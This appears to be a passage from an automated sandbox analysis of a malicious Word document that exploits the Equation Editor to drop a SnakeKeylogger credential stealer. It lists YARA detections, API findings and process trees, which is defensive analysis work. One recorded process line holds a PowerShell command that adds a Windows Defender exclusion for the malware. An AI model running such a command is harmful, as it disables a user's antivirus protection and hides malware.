Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC6480 7_2_00BC6480
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC82F8 7_2_00BC82F8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC75F0 7_2_00BC75F0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC8FF0 7_2_00BC8FF0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC68E8 7_2_00BC68E8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC5BE0 7_2_00BC5BE0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCE4E0 7_2_00BCE4E0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC4ED8 7_2_00BC4ED8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCD5D8 7_2_00BCD5D8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCFBD8 7_2_00BCFBD8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC68DA 7_2_00BC68DA
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCC8D0 7_2_00BCC8D0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC41D0 7_2_00BC41D0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC5BD2 7_2_00BC5BD2
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC4ECE 7_2_00BC4ECE
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCBBC8 7_2_00BCBBC8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC34C8 7_2_00BC34C8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCAEC0 7_2_00BCAEC0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC41C0 7_2_00BC41C0
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCC8C1 7_2_00BCC8C1
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC7A3E 7_2_00BC7A3E
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC6038 7_2_00BC6038
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCDA30 7_2_00BCDA30
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC6D30 7_2_00BC6D30
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCF731 7_2_00BCF731
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCCD28 7_2_00BCCD28
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC4628 7_2_00BC4628
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC6028 7_2_00BC6028
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC5326 7_2_00BC5326
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCC020 7_2_00BCC020
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC3920 7_2_00BC3920
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCB318 7_2_00BCB318
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC461A 7_2_00BC461A
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCEE10 7_2_00BCEE10
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC3910 7_2_00BC3910
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCC010 7_2_00BCC010
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC9D08 7_2_00BC9D08
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCB308 7_2_00BCB308
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC0006 7_2_00BC0006
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC9000 7_2_00BC9000
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC3D78 7_2_00BC3D78
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCC478 7_2_00BCC478
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC5778 7_2_00BC5778
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCDE78 7_2_00BCDE78
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCB770 7_2_00BCB770
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC3070 7_2_00BC3070
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC4A70 7_2_00BC4A70
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCAA68 7_2_00BCAA68
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCC468 7_2_00BCC468
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC3D69 7_2_00BC3D69
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCB760 7_2_00BCB760
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC305F 7_2_00BC305F
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC9458 7_2_00BC9458
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCAA59 7_2_00BCAA59
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC8750 7_2_00BC8750
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC7A48 7_2_00BC7A48
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC9448 7_2_00BC9448
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BCF740 7_2_00BCF740
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC6D40 7_2_00BC6D40
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00BC8740 7_2_00BC8740
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C350D8 7_2_00C350D8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C349F8 7_2_00C349F8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C357B8 7_2_00C357B8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C30040 7_2_00C30040
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C33558 7_2_00C33558
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C32E78 7_2_00C32E78
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C34318 7_2_00C34318
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C33C38 7_2_00C33C38
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C350C8 7_2_00C350C8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C30ED8 7_2_00C30ED8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C349E9 7_2_00C349E9
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C32AF1 7_2_00C32AF1
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C357A8 7_2_00C357A8
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C3354B 7_2_00C3354B
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C32E68 7_2_00C32E68
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C32B00 7_2_00C32B00
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C34308 7_2_00C34308
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C32121 7_2_00C32121
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C33C28 7_2_00C33C28
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_00C32130 7_2_00C32130
Yara signature match
Source: na.doc, type: SAMPLE Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 7.2.cdlpohalgate39567.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 7.2.cdlpohalgate39567.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.cdlpohalgate39567.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000007.00000002.942222984.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.438924652.0000000003D39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: cdlpohalgate39567.exe PID: 3788, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: cdlpohalgate39567.exe PID: 3872, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: pgTQ4mfZBbJhpdd[1].exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: cdlpohalgate39567.exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, COVID19.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, VF3gsb4AyHhvKmAXXL.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, VF3gsb4AyHhvKmAXXL.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, VF3gsb4AyHhvKmAXXL.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, nW3sEsBesrd65eePGN.cs Security API names: _0020.SetAccessControl
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, nW3sEsBesrd65eePGN.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, nW3sEsBesrd65eePGN.cs Security API names: _0020.AddAccessRule
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, nW3sEsBesrd65eePGN.cs Security API names: _0020.SetAccessControl
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, nW3sEsBesrd65eePGN.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, nW3sEsBesrd65eePGN.cs Security API names: _0020.AddAccessRule
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, nW3sEsBesrd65eePGN.cs Security API names: _0020.SetAccessControl
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, nW3sEsBesrd65eePGN.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, nW3sEsBesrd65eePGN.cs Security API names: _0020.AddAccessRule
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winDOC@9/14@26/8
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$na.doc Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRE9E1.tmp Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....(.......8................-.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....(.......8................-.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....(.......8..........................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....(.......8..........................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....(.......8...............(..........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....(.......8...............5..........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................a.g.a.i.n.......(.......8...............R..........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....(.......8...............`..........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.........z..........................s.................... ....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....(.......8..........................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....(.......8..........................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....(.......8..........................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~................................s....................$....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....(.......8..........................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....(.......8..........................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....(.......8..........................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s....................2....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....(.......8................/.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....(.......8...............-/.........................s....................l....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....(.......8...............9/.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....(.......8...............K/.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....(.......8...............W/.........................s............................................ Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: na.doc ReversingLabs: Detection: 50%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe "C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe"
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe"
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process created: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe "C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe "C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process created: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe "C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
